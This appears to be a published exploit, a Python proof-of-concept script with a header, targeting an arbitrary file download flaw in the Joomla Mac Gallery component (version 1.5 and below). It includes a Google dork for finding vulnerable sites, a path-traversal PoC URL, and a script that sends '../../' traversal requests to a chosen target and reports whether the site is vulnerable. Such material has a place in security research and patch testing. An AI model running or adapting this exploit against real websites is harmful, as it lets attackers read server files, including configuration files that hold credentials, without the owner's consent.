1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 |
###################### # Exploit Title : Joomla Mac Gallery <= 1.5 Arbitrary File Download # Exploit Author : Claudio Viviani # Vendor Homepage : https://www.apptha.com # Software Link : https://www.apptha.com/downloadable/download/sample/sample_id/18 # Dork Google: inurl:option=com_macgallery # Date : 2014-09-17 # Tested on : Windows 7 / Mozilla Firefox # Linux / Mozilla Firefox # Info: # Joomla Mac Gallery suffers from Arbitrary File Download vulnerability # PoC Exploit: #http://localhost/index.php?option=com_macgallery&view=download&albumid=[../../filename] #"album_id" variable is not sanitized. ###################### #!/usr/bin/env python # http connection import urllib, urllib2 # Args management import optparse # Error managemen import sys banner = """ ____ ___ ___ |__.-----.-----.--------|.---.-. | Y .---.-.----. ||_|_|||_| |.|_|__| ||_____|_____|__|__|__|__|___._| |. \_/|___._|____| |___| |:| | |::.|:. | --- ---' _______ __ ______________ | _ .---.-||.-----.----.--.--. | _ || _ | |.|___|_|||-__| _||| |.| |__| 1___| |.| |___._|__|__|_____|__| |___| </code>-|.|__|____ | |:1 ||_____| |:||:1 | |::.. . ||::.||::.. . | -------'</code>---'`-------' j00ml4 M4c G4ll3ry <= 1.5 4rb1tr4ry F1l3 D0wnl04d Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url def connection(url,pathtrav): try: response = urllib2.urlopen(url+'/index.php?option=com_macgallery&view=download&albumid='+pathtrav+'index.php') content = response.read() if content != "": print '[!] VULNERABLE' print '[+] '+url+'/index.php?option=com_macgallery&view=download&albumid='+pathtrav+'index.php' else: print '[X] Not Vulnerable' except urllib2.HTTPError: print '[X] HTTP Error' except urllib2.URLError: print '[X] Connection Error' commandList = optparse.OptionParser('usage: %prog -t URL') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) options, remainder = commandList.parse_args() # Check args if not options.target: print(banner) commandList.print_help() sys.exit(1) print(banner) url = checkurl(options.target) pathtrav = "../../" connection(url,pathtrav) |